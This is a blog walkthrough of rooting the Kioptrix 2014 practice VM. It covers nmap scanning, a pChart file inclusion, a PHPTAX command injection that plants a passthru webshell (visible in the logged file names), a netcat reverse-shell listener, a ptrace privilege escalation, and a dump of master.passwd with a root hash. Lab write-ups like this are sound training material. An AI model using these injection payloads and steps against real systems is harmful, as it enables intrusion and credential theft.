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Kioptrix 2014 (#5) Walkthrough

Last up in the series was Kioptrix 2014 (#5), so I decided to knock it out.

(I know that I haven’t shown my enumeration scripts yet, and I know that the beginning of all of these seem redundant, but I’d like for all of them to be able to stand on their own.)

First things first, netdiscover to find the VM.

 Currently scanning: Finished!   |   Screen View: Unique Hosts
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180
    IP            At MAC Address      Count  Len   MAC Vendor            
 ----------------------------------------------------------------    00:50:56:c0:00:01    01    060   VMWare, Inc.  00:0c:29:4a:8c:98    01    060   VMware, Inc.  00:50:56:f2:2e:1e    01    060   VMWare, Inc.


With the IP, it was time to fire up Nmap to start to figure out my attack surface.

root@kali:~# nmap -sT -sV -O

Starting Nmap 6.47 ( ) at 2015-05-19 21:56 EDT
Nmap scan report for
Host is up (0.00032s latency).
Not shown: 997 filtered ports
22/tcp   closed ssh
80/tcp   open   http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
8080/tcp open   http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
MAC Address: 00:0C:29:4A:8C:98 (VMware)
Device type: general purpose
Running: FreeBSD 7.X|8.X|9.X
OS CPE: cpe:/o:freebsd:freebsd:7 cpe:/o:freebsd:freebsd:8 cpe:/o:freebsd:freebsd:9
OS details: FreeBSD 7.0-RELEASE - 9.0-RELEASE
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 27.17 seconds

Figuring that HTTP was my main/only point of attack, I opened the home page.

Well, nothing in particular seemed to be there, so I decided to check out port 8080. There I was greeted with an even less friendly message.

Figuring that HTTP was still my main point of attack, I went back to the port 80 page to check out the source.

It looked like a link to pChart had been hidden, so I headed to the URL to check it out.

A quick search revealed that pChart was vulnerable to a local file inclusion exploit, so I decided to give that a try.

Unfortunately, I was unable to inject any PHP into any actual HTTP logs…

That said, after a bit more browsing and testing (as well as some searching as to where FreeBSD stores its configuration files, I checked out the httpd.conf.

While most of it wasn’t useful, there was a section that explained why I was getting the 403 error on port 8080.

SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser

<VirtualHost *:8080>
    DocumentRoot /usr/local/www/apache22/data2

<Directory "/usr/local/www/apache22/data2">
    Options Indexes FollowSymLinks
    AllowOverride All
    Order allow,deny
    Allow from env=Mozilla4_browser


With this in mind, I found a user-agent that I could use, modified my Iceweasel settings.

With my user-agent switched, I was then able to look at the home page on port 8080.

PHPTAX appeared to be the only thing running on that VirtualHost, so I loaded up the page to have a look at it.

It looks like PHPTAX has a remote code execution exploit available, so I tested it with a quick PHP passthru (ignore the cmd2.php part, I was running into some issues during my testing).

Able to execute commands on the remote host, I grabbed one of the trusty reverse shells from pentestmonkey (perl this time as python didn’t appear to be installed) and started my listener.

root@kali:~# nc -l -v -p 4443
listening on [any] 4443 ... inverse host lookup failed: Unknown server error : Connection timed out
connect to [] from (UNKNOWN) [] 12374
sh: can't access tty; job control turned off

With my local access, a quick search revealed a ptrace privilege escalation exploit, so I grabbed that and ran it.

$ gcc -o ptrace ptrace.c
$ chmod +x ptrace
$ ./ptrace
uid=0(root) gid=0(wheel) egid=80(www) groups=80(www)
cd /root
ls -al
total 96
drwxr-xr-x   2 root  wheel   512 May 21 03:36 .
drwxr-xr-x  18 root  wheel  1024 May 21 04:28 ..
-rw-r--r--   2 root  wheel   793 Jan  3  2012 .cshrc
-rw-------   1 root  wheel     0 Apr  6  2014 .history
-rw-r--r--   1 root  wheel   151 Jan  3  2012 .k5login
-rw-r--r--   1 root  wheel   299 Jan  3  2012 .login
-rw-------   1 root  wheel     1 Mar 30  2014 .mysql_history
-rw-r--r--   2 root  wheel   256 Jan  3  2012 .profile
----------   1 root  wheel  2611 Apr  3  2014 congrats.txt
-rw-r--r--   1 root  wheel  4738 May 21 07:41 folderMonitor.log
lrwxr-xr-x   1 root  wheel    25 Mar 29  2014 httpd-access.log -> /var/log/httpd-access.log
-rwxr-xr-x   1 root  wheel   574 Apr  3  2014
-rwx------   1 root  wheel  2366 Mar 28  2014
lrwxr-xr-x   1 root  wheel    44 Mar 29  2014 ossec-alerts.log -> /usr/local/ossec-hids/logs/alerts/alerts.log

With root obtained, it was time to grab the flag.

cat congrats.txt
If you are reading this, it means you got root (or cheated).
Congratulations either way...

Hope you enjoyed this new VM of mine. As always, they are made for the beginner in
mind, and not meant for the seasoned pentester. However this does not mean one
can't enjoy them.

As with all my VMs, besides getting "root" on the system, the goal is to also
learn the basics skills needed to compromise a system. Most importantly, in my mind,
are information gathering & research. Anyone can throw massive amounts of exploits
and "hope" it works, but think about the traffic.. the logs... Best to take it
slow, and read up on the information you gathered and hopefully craft better
more targetted attacks.

For example, this system is FreeBSD 9. Hopefully you noticed this rather quickly.
Knowing the OS gives you any idea of what will work and what won't from the get go.
Default file locations are not the same on FreeBSD versus a Linux based distribution.
Apache logs aren't in "/var/log/apache/access.log", but in "/var/log/httpd-access.log".
It's default document root is not "/var/www/" but in "/usr/local/www/apache22/data".
Finding and knowing these little details will greatly help during an attack. Of course
my examples are specific for this target, but the theory applies to all systems.

As a small exercise, look at the logs and see how much noise you generated. Of course
the log results may not be accurate if you created a snapshot and reverted, but at least
it will give you an idea. For fun, I installed "OSSEC-HIDS" and monitored a few things.
Default settings, nothing fancy but it should've logged a few of your attacks. Look
at the following files:
/root/httpd-access.log (softlink)
/root/ossec-alerts.log (softlink)

The folderMonitor.log file is just a cheap script of mine to track created/deleted and modified
files in 2 specific folders. Since FreeBSD doesn't support "iNotify", I couldn't use OSSEC-HIDS
for this.
The httpd-access.log is rather self-explanatory .
Lastly, the ossec-alerts.log file is OSSEC-HIDS is where it puts alerts when monitoring certain
files. This one should've detected a few of your web attacks.

Feel free to explore the system and other log files to see how noisy, or silent, you were.
And again, thank you for taking the time to download and play.
Sincerely hope you enjoyed yourself.

Be good...


p.s.: Keep in mind, for each "web attack" detected by OSSEC-HIDS, by
default it would've blocked your IP (both in hosts.allow & Firewall) for
600 seconds. I was nice enough to remove that part 🙂

Also, a quick check revealed that I wasn’t as quiet as I could be (though with root access I could now modify the logs of course).

cat /root/folderMonitor.log
2015-05-21 03:36:18 - User [root] modified directory: /tmp
2015-05-21 03:36:20 - Deleted file: /tmp/mysql.sock
2015-05-21 03:36:20 - Deleted file: /tmp/aprCGDFGK
2015-05-21 03:36:20 - User [root] modified directory: /tmp
2015-05-21 04:27:10 - User [root] modified directory: /tmp
2015-05-21 04:28:51 - User [root] modified directory: /tmp
2015-05-21 06:59:13 - User [www] created file: /usr/local/www/apache22/data2/phptax/data/pdf/1040pg1.png;uname -a;
2015-05-21 06:59:13 - User [www] modified directory: /usr/local/www/apache22/data2/phptax/data/pdf
2015-05-21 06:59:14 - User [www] modified file: /usr/local/www/apache22/data2/phptax/data/pdf/1040pg1.png;uname -a;
2015-05-21 07:08:25 - User [www] created file: /usr/local/www/apache22/data2/phptax/cmd.php
2015-05-21 07:08:25 - User [www] modified directory: /usr/local/www/apache22/data2/phptax
2015-05-21 07:11:03 - User [www] created file: /usr/local/www/apache22/data2/phptax/data/pdf/xxx;pfilez=1040pg1.png;echo "

" > cmd2.php;
2015-05-21 07:11:03 - User [www] modified directory: /usr/local/www/apache22/data2/phptax/data/pdf
2015-05-21 07:11:04 - User [www] created file: /usr/local/www/apache22/data2/phptax/cmd2.php
2015-05-21 07:11:04 - User [www] modified directory: /usr/local/www/apache22/data2/phptax
2015-05-21 07:12:26 - User [www] created file: /usr/local/www/apache22/data2/phptax/data/pdf/xxx;pfilez=1040pg1.png;echo "hello" > cmd2.php;
2015-05-21 07:12:26 - User [www] modified directory: /usr/local/www/apache22/data2/phptax/data/pdf
2015-05-21 07:12:27 - User [www] modified file: /usr/local/www/apache22/data2/phptax/data/pdf/xxx;pfilez=1040pg1.png;echo "hello" > cmd2.php;
2015-05-21 07:12:27 - User [www] modified file: /usr/local/www/apache22/data2/phptax/cmd2.php
2015-05-21 07:13:29 - User [www] modified file: /usr/local/www/apache22/data2/phptax/cmd.php
2015-05-21 07:13:29 - User [www] created file: /usr/local/www/apache22/data2/phptax/data/pdf/xxx;pfilez=1040pg1.png;echo "" > cmd.php;
2015-05-21 07:13:29 - User [www] modified directory: /usr/local/www/apache22/data2/phptax/data/pdf
2015-05-21 07:14:13 - User [www] created file: /usr/local/www/apache22/data2/phptax/data/pdf/xxx;pfilez=1040pg1.png;echo "
2015-05-21 07:14:13 - User [www] modified directory: /usr/local/www/apache22/data2/phptax/data/pdf
2015-05-21 07:14:25 - User [www] modified file: /usr/local/www/apache22/data2/phptax/data/pdf/xxx;pfilez=1040pg1.png;echo "
2015-05-21 07:14:51 - User [www] created file: /usr/local/www/apache22/data2/phptax/data/pdf/xxx;pfilez=1040pg1.png;echo " cmd.php;
2015-05-21 07:14:51 - User [www] modified directory: /usr/local/www/apache22/data2/phptax/data/pdf
2015-05-21 07:14:52 - User [www] modified file: /usr/local/www/apache22/data2/phptax/cmd.php
2015-05-21 07:15:52 - User [www] modified file: /usr/local/www/apache22/data2/phptax/data/pdf/xxx;pfilez=1040pg1.png;echo "" > cmd.php;
2015-05-21 07:15:53 - User [www] modified file: /usr/local/www/apache22/data2/phptax/cmd.php
2015-05-21 07:15:53 - User [www] modified file: /usr/local/www/apache22/data2/phptax/data/pdf/xxx;pfilez=1040pg1.png;echo "" > cmd.php;
2015-05-21 07:16:41 - User [www] modified file: /usr/local/www/apache22/data2/phptax/cmd.php
2015-05-21 07:16:41 - User [www] created file: /usr/local/www/apache22/data2/phptax/data/pdf/xxx;pfilez=1040pg1.png;echo "php passthru($_GET[cmd])" > cmd.php;
2015-05-21 07:16:41 - User [www] modified directory: /usr/local/www/apache22/data2/phptax/data/pdf
2015-05-21 07:18:46 - User [www] modified file: /usr/local/www/apache22/data2/phptax/cmd.php
2015-05-21 07:18:46 - User [www] created file: /usr/local/www/apache22/data2/phptax/data/pdf/xxx;pfilez=1040pg1.png;echo ""''"" > cmd.php;
2015-05-21 07:18:46 - User [www] modified directory: /usr/local/www/apache22/data2/phptax/data/pdf
2015-05-21 07:27:47 - User [www] created file: /tmp/vi.ry8NKsAjMS
2015-05-21 07:27:47 - User [root] modified directory: /tmp
2015-05-21 07:39:49 - User [www] created file: /tmp/ptrace.c
2015-05-21 07:39:49 - User [root] modified directory: /tmp
2015-05-21 07:40:01 - Deleted file: /tmp/ptrace.c
2015-05-21 07:40:01 - User [root] modified directory: /tmp
2015-05-21 07:40:14 - User [www] created file: /tmp/ptrace.c
2015-05-21 07:40:14 - User [root] modified directory: /tmp
2015-05-21 07:40:25 - User [root] modified directory: /tmp
2015-05-21 07:40:50 - User [root] modified directory: /tmp
2015-05-21 07:41:06 - User [www] modified file: /tmp/ptrace.c
2015-05-21 07:41:16 - User [www] created file: /tmp/ptrace
2015-05-21 07:41:16 - User [root] modified directory: /tmp

And, of course, (though I had to search to figure out where the file actually was) I grabbed the shadow file.

cat master.passwd
# $FreeBSD: release/9.0.0/etc/master.passwd 218047 2011-01-28 22:29:38Z pjd $
root:$1$DdHlo6rh$usiPcDoTR37eL7DAyLjhk1:0:0::0:0:Charlie &:/root:/bin/csh
toor:*:0:0::0:0:Bourne-again Superuser:/root:
daemon:*:1:1::0:0:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5::0:0:System &:/:/usr/sbin/nologin
bin:*:3:7::0:0:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533::0:0:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533::0:0:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13::0:0:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8::0:0:News Subsystem:/:/usr/sbin/nologin
man:*:9:9::0:0:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25::0:0:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26::0:0:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53::0:0:Bind Sandbox:/:/usr/sbin/nologin
proxy:*:62:62::0:0:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64::0:0:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65::0:0:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66::0:0:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6::0:0:Post Office Owner:/nonexistent:/usr/sbin/nologin
www:*:80:80::0:0:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
hast:*:845:845::0:0:HAST unprivileged user:/var/empty:/usr/sbin/nologin
nobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/usr/sbin/nologin
mysql:*:88:88::0:0:MySQL Daemon:/var/db/mysql:/usr/sbin/nologin
ossec:*:1001:1001::0:0:User &:/usr/local/ossec-hids:/sbin/nologin
ossecm:*:1002:1001::0:0:User &:/usr/local/ossec-hids:/sbin/nologin
ossecr:*:1003:1001::0:0:User &:/usr/local/ossec-hids:/sbin/nologin

A great series from loneferret, and I’d definitely recommend it to anyone trying to get their feet wet with these sort of boxes.

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